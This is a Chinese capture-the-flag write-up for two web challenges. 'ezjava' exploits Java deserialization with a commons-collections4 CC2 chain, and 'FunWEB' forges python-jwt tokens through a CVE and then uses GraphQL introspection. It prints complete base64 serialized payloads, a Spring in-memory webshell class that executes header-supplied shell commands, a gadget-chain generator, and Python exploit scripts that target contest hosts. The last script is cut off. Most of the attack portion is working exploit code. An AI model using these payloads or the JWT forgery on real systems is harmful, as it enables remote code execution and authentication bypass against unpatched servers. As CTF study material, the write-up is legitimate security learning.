# Web

# ezjava

下载附件审计

有两个路由 hello 和 myTest,在 myTest 出直接 post 传 payload,然后进行无限制的反序列化。查看一下 lib 发现有 commons-collections4.0 依赖,这就很容易想到 CC2 或 CC4 链,直接用 yso 生成 payload 进行反弹 shell。这里可能是由于一些特殊字符直接 hackbar 传没有用,所以用 python 传,但是没有反弹成功

本地测试一下 payload 对不对

jdk8u66

java -jar ezjava-0.0.1-SNAPSHOT.jar

测试的 payload:

rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci/5hPArsQjMAgACTAAJZGVjb3JhdGVkcQB+AAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAAAdAAObmV3VHJhbnNmb3JtZXJ1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3EAfgALTAAFX25hbWVxAH4ACkwAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAJ1cgACW0Ks8xf4BghU4AIAAHhwAAAGmsr+ur4AAAA0ADkKAAMAIgcANwcAJQcAJgEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1ZQWtIJPzkd3vPgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQATU3R1YlRyYW5zbGV0UGF5bG9hZAEADElubmVyQ2xhc3NlcwEANUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQ7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACcBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEMAAoACwcAKAEAM3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAqAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwALAAtCgArAC4BAARjYWxjCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAeeXNvc2VyaWFsL1B3bmVyMTg4MjQ4NzA4NzA4NzAwAQAgTHlzb3NlcmlhbC9Qd25lcjE4ODI0ODcwODcwODcwMDsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAvAA4AAAAMAAEAAAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAA0AA4AAAAgAAMAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA4AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAl1cQB+ABgAAAHUyv66vgAAADQAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHNyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABeA==

Untitled

本地 windows 环境下 payload 测试成功,因为不信邪自己还搭了一个 docker 环境放到云服务器上,发现反弹 shell 也是成功了的,说明只有一种可能就是题目不能出网,这样一下子就很难办了

最后经过各种信息搜集,发现可以利用 Spring 内存马进行回显

http://www.bmth666.cn/bmth_blog/2022/09/27/Spring 内存马学习 /#Spring 内存马

https://www.anquanke.com/post/id/258575#h2-2

https://myzxcg.com/2021/11/Spring - 内存马实现 /

直接拿从万能的网络中找到的恶意类

package ysoserial.payloads.evil;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Method;
import java.util.Scanner;
public class EvilTest extends AbstractTranslet {
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
    public EvilTest() throws Exception{
        //Runtime.getRuntime().exec("touch /tmp/test.txt");
        Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
        Method m = c.getMethod("getRequestAttributes");
        Object o = m.invoke(null);
        c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
        m = c.getMethod("getResponse");
        Method m1 = c.getMethod("getRequest");
        Object resp = m.invoke(o);
        Object req = m1.invoke(o); // HttpServletRequest
        Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
        Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);
        getHeader.setAccessible(true);
        getWriter.setAccessible(true);
        Object writer = getWriter.invoke(resp);
        String cmd = (String)getHeader.invoke(req, "cmd");
        String[] commands = new String[3];
        String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8";
        if (System.getProperty("os.name").toUpperCase().contains("WIN")){
            commands[0] = "cmd";
            commands[1] = "/c";
        }else {
            commands[0] = "/bin/sh";
            commands[1] = "-c";
        }
        commands[2] = cmd;
        writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(), charsetName).useDelimiter("\\A").next());
        writer.getClass().getDeclaredMethod("flush").invoke(writer);
        writer.getClass().getDeclaredMethod("close").invoke(writer);
    }
}

CC2:

package ysoserial.payloads;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;
public class CC2 {
    public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldname);
        field.setAccessible(true);
        field.set(obj,value);
    }
    public static void main(String[] args)throws Exception {
        // 创建 TemplatesImpl 对象加载字节码
        byte[] code = ClassPool.getDefault().get("ysoserial.payloads.evil.SpringEcho").toBytecode();
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj,"_bytecodes",new byte[][]{code});
        setFieldValue(obj,"_name","ameuu");
        // 创建 TranformingComparator 实例
        Transformer transformer = new InvokerTransformer("toString",null,null);
        TransformingComparator transformingComparator = new TransformingComparator(transformer);
        // 创建 PriorityQueue 实例
        //readobject 入口
        PriorityQueue priorityQueue = new PriorityQueue(2,transformingComparator);
        priorityQueue.add(obj);
        priorityQueue.add(obj);
        // 修改调用方法为 newTransformer,加载恶意类。
        setFieldValue(transformer,"iMethodName","newTransformer");
        ByteArrayOutputStream baor = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baor);
        oos.writeObject(priorityQueue);
        oos.close();
        System.out.println(new String(Base64.getEncoder().encode(baor.toByteArray())));
//        // 反序列化
//        ByteArrayInputStream bais = new ByteArrayInputStream(baor.toByteArray());
//        ObjectInputStream ois = new ObjectInputStream(bais);
//        Object o = ois.readObject();
//        baor.close();
    }
}

python 上传,这里其实也卡了很久,直接上传的时候直接回显 500 然后再去请求头添加 cmd 之后并没有执行,感觉是没有成功,直到后来在自己测试的时候直接 data 和 headers 一起传发现居然成功了,不是很能理解(还是太菜了

exp:

url = 'http://39.106.13.71:18962/myTest'
data = 'rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci/5hPArsQjMAgACTAAJZGVjb3JhdGVkcQB+AAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHBwdAAObmV3VHJhbnNmb3JtZXJwdwQAAAADc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3NxAH4AC0wABV9uYW1lcQB+AApMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAADnPK/rq+AAAANAC5CgAvAF8KAGAAYQoAYABiCABjCgBkAGUIAGYHAGcKAAcAaAcAaQoAagBrCABsCABtCABuCABvCABNCgAHAHAIAHEIAE4HAHIKAGoAcwgAUAgAdAoAdQB2CgATAHcIAHgKABMAeQgAeggAewoAEwB8CAB9CAB+CAB/CACACgAJAIEIAIIHAIMKAIQAhQoAhACGCgCHAIgKACQAiQgAigoAJACLCgAkAIwIAI0IAI4HAI8HAJABAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAIkx5c29zZXJpYWwvcGF5bG9hZHMvZXZpbC9FdmlsVGVzdDsBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAkQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAGPGluaXQ+AQADKClWAQABYwEAEUxqYXZhL2xhbmcvQ2xhc3M7AQABbQEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQABbwEAEkxqYXZhL2xhbmcvT2JqZWN0OwEAAm0xAQAEcmVzcAEAA3JlcQEACWdldFdyaXRlcgEACWdldEhlYWRlcgEABndyaXRlcgEAA2NtZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEACGNvbW1hbmRzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAC2NoYXJzZXROYW1lAQANU3RhY2tNYXBUYWJsZQcAjwcAZwcAkgcAaQcAcgcAUwcAkwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDABCAEMHAJQMAJUAlgwAlwCYAQA8b3JnLnNwcmluZ2ZyYW1ld29yay53ZWIuY29udGV4dC5yZXF1ZXN0LlJlcXVlc3RDb250ZXh0SG9sZGVyBwCZDACaAJsBABRnZXRSZXF1ZXN0QXR0cmlidXRlcwEAD2phdmEvbGFuZy9DbGFzcwwAnACdAQAQamF2YS9sYW5nL09iamVjdAcAkgwAngCfAQBAb3JnLnNwcmluZ2ZyYW1ld29yay53ZWIuY29udGV4dC5yZXF1ZXN0LlNlcnZsZXRSZXF1ZXN0QXR0cmlidXRlcwEAC2dldFJlc3BvbnNlAQAKZ2V0UmVxdWVzdAEAHWphdmF4LnNlcnZsZXQuU2VydmxldFJlc3BvbnNlDACgAJ0BACVqYXZheC5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0AQAQamF2YS9sYW5nL1N0cmluZwwAoQCiAQAHb3MubmFtZQcAowwApAClDACmAKcBAAZ3aW5kb3cMAKgAqQEAA0dCSwEABVVURi04DACqAKcBAANXSU4BAAIvYwEABy9iaW4vc2gBAAItYwwAqwCsAQAHcHJpbnRsbgEAEWphdmEvdXRpbC9TY2FubmVyBwCtDACuAK8MALAAsQcAsgwAswC0DABCALUBAAJcQQwAtgC3DAC4AKcBAAVmbHVzaAEABWNsb3NlAQAgeXNvc2VyaWFsL3BheWxvYWRzL2V2aWwvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEGphdmEvbGFuZy9UaHJlYWQBAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyAQAJbG9hZENsYXNzAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABFnZXREZWNsYXJlZE1ldGhvZAEADXNldEFjY2Vzc2libGUBAAQoWilWAQAQamF2YS9sYW5nL1N5c3RlbQEAC2dldFByb3BlcnR5AQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAt0b0xvd2VyQ2FzZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBAAt0b1VwcGVyQ2FzZQEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAqKExqYXZhL2lvL0lucHV0U3RyZWFtO0xqYXZhL2xhbmcvU3RyaW5nOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAAhAC4ALwAAAAAAAwABADAAMQACADIAAAA/AAAAAwAAAAGxAAAAAgAzAAAABgABAAAAEQA0AAAAIAADAAAAAQA1ADYAAAAAAAEANwA4AAEAAAABADkAOgACADsAAAAEAAEAPAABADAAPQACADIAAABJAAAABAAAAAGxAAAAAgAzAAAABgABAAAAFgA0AAAAKgAEAAAAAQA1ADYAAAAAAAEANwA4AAEAAAABAD4APwACAAAAAQBAAEEAAwA7AAAABAABADwAAQBCAEMAAgAyAAACwwAJAA0AAAF7KrcAAbgAArYAAxIEtgAFTCsSBgO9AAe2AAhNLAEDvQAJtgAKTrgAArYAAxILtgAFTCsSDAO9AAe2AAhNKxINA70AB7YACDoELC0DvQAJtgAKOgUZBC0DvQAJtgAKOga4AAK2AAMSDrYABRIPA70AB7YAEDoHuAACtgADEhG2AAUSEgS9AAdZAxITU7YAEDoIGQgEtgAUGQcEtgAUGQcZBQO9AAm2AAo6CRkIGQYEvQAJWQMSFVO2AArAABM6Cga9ABM6CxIWuAAXtgAYEhm2ABqZAAgSG6cABRIcOgwSFrgAF7YAHRIetgAamQASGQsDEhVTGQsEEh9TpwAPGQsDEiBTGQsEEiFTGQsFGQpTGQm2ACISIwS9AAdZAxITU7YAEBkJBL0ACVkDuwAkWbgAJRkLtgAmtgAnGQy3ACgSKbYAKrYAK1O2AApXGQm2ACISLAO9AAe2ABAZCQO9AAm2AApXGQm2ACISLQO9AAe2ABAZCQO9AAm2AApXsQAAAAMAMwAAAG4AGwAAABcABAAaABAAGwAbABwAJQAdADEAHgA8AB8ASAAgAFMAIQBfACIAdQAjAJAAJACWACUAnAAmAKkAJwC+ACgAxAApAN0AKgDtACsA8wAsAPwALgECAC8BCAAxAQ4AMgFKADMBYgA0AXoANQA0AAAAhAANAAABewA1ADYAAAAQAWsARABFAAEAGwFgAEYARwACACUBVgBIAEkAAwBIATMASgBHAAQAUwEoAEsASQAFAF8BHABMAEkABgB1AQYATQBHAAcAkADrAE4ARwAIAKkA0gBPAEkACQC+AL0AUABRAAoAxAC3AFIAUwALAN0AngBUAFEADABVAAAAOAAE/wDZAAwHAFYHAFcHAFgHAFkHAFgHAFkHAFkHAFgHAFgHAFkHAFoHAFsAAEEHAFr8ACAHAFoLADsAAAAEAAEAXAABAF0AAAACAF5wdAAFYW1ldXVwdwEAeHEAfgAReA=='
r = requests.post(url, data=data)
print(r.text)
print(requests.post('http://39.106.13.71:18962/myTest', data=data, headers={'cmd': 'cat /flag'}).text)

flag:

flag{18e4ba5e-7907-44f2-baba-2ac04b6787b4}

# FunWEB

  • flask python-jwt

直接打开是登录注册界面,猜测可能有 SQL 注入,就是不知道环境是什么,先注册一个账号进去,发现有三个路由 getFlag、graphql、logout

但是前面两个都需要 admin 登录,查看 cookie 发现有 session 和 token,session 是 flask session,强行解密发现只是用来记录是否登录的。而 token 是 jwt,会记录是不是 admin,那么如果想成为 admin 那就是要找到秘钥了,但是完全没有思路该怎么去找到秘钥,打算从 JWT 攻击入手

把 token 放到 jwt.io 上看,发现是 PS256 加密,是非对称加密……

之后就卡了很久很久,甚至还成改成对称加密去爆破秘钥……

Untitled

python 环境下的 jwt,google 到了 https://github.com/davedoesdev/python-jwt,可以发现近期刚出一个 CVE,还是关于 token 认证的,那这次的考点应该就是这里了

Untitled

直接查看详情,可以发现漏洞点是 JWT 解析器和 jwtcrypto 依赖不一致造成的,但还是有点不知道该怎么入手,

Untitled

查看 commit,在最后有一个 vulnerability_vows.py ,仔细审计一下可以发现这个就是用来测试漏洞是否修复成功的,那从另一方面来说我们就可以利用这和脚本伪造 token

Untitled

直接将整个最新版的 python-jwt 从 github 上面拿下来,利用里面的 test 包构造 exp,然后在环境里面安装 python-jwt3.3.3:

from datetime import timedelta
from json import loads, dumps
from fixtures import generated_keys
import python_jwt as jwt
# from pyvows import Vows, expect
from jwcrypto.common import base64url_decode, base64url_encode
import requests
def fakePayload(topic):
    """ Use mix of JSON and compact format to insert forged claims including long expiration """
    # print(topic)
    [header, payload, signature] = topic.split('.')
    parsed_payload = loads(base64url_decode(payload))
    parsed_payload['is_admin'] = 1
    parsed_payload['exp'] = 2000000000
    fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
    return '{"  ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
url = 'http://eci-2zef45s04koksrnwzpys.cloudeci1.ichunqiu.com/'
a = 'eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NjcxMjQ2ODksImlhdCI6MTY2NzEyNDM4OSwiaXNfYWRtaW4iOjAsImlzX2xvZ2luIjoxLCJqdGkiOiJDSFNEemZIbHJpcTJZbmU3Ynhrc2lRIiwibmJmIjoxNjY3MTI0Mzg5LCJwYXNzd29yZCI6ImFtZXV1IiwidXNlcm5hbWUiOiJhbWV1dSJ9.nlAxl5xunioWsD7UkEY35CGu69F9JMI3B4tCTI5zG-HH5XxbgJIDjheBgYH83QOs7wuu7nRWnuzBGBvXZpoTdjXDklD8ob69-Z9h0UvYB8J9_AwySCssHOw_2d2w4B4EmhTsZ0JXv78KOgIIYKZeI4mX3RohGceGGTMLw92KW0V4IGaZulLXBl9HWw0qfnwXEOY0vNmbofCu3i_Ee1v0m6NWF2ytrLwspkJ59Xj09FXG2oEPzRC-Mx4RBgm5b2xX66RNJcwJhqiwAeRLJ3of0kr5Oo2-3VIjpNUsxgcEUUojk561CT0Lj3NO4kzfJ88gbQwnZ4f-gcg2Kg7IbVa7Tg'
token = fakePayload(a)
r = requests.get(url + 'getflag', cookies={'token': token,
                           'session': 'eyJpc19sb2dpbiI6MX0.Y15HzQ.WwPKCovExkTsVcmU5hVuWIdjj4k'})
print(r.text)

回显 only currect password can readflag ,说明我们得拿到 flag,而还有一个查看成绩的 graphql 路由可以进行 grqphql 注入

https://www.secpulse.com/archives/148242.html

https://graphql.cn/learn/queries/#variables

graphql 注入查询到:

{'__type': {'name': 'Getscorebyid', 'fields': [{'name': 'score'}, {'name': 'name'}, {'name': 'id'}]}}
{'__type': {'name': 'Getscorebyname', 'fields': [{'name': 'score'}, {'name': 'name'}, {'name': 'userid'}]}}

最终 exp:

import requests
from datetime import timedelta
from json import loads, dumps
from fixtures import generated_keys
import python_jwt as jwt
# from pyvows import Vows, expect
from jwcrypto.common import base64url_decode, base64url_encode
def fakePayload(topic):
    """ Use mix of JSON and compact format to insert forged claims including long expiration """
    # print(topic)
    [header, payload, signature] = topic.split('.')
    parsed_payload = loads(base64url_decode(payload))
    parsed_payload['is_admin'] = 1
    parsed_payload['username'] = "admin"
    parsed_payload['password'] = "i2Ip4m1Jx3iWMbtVRywc"
    parsed_payload['exp'] = 2000000000
    fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
    return '{"  ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
url = 'http://eci-2zef45s04koksrnwzpys.cloudeci1.ichunqiu.com/'
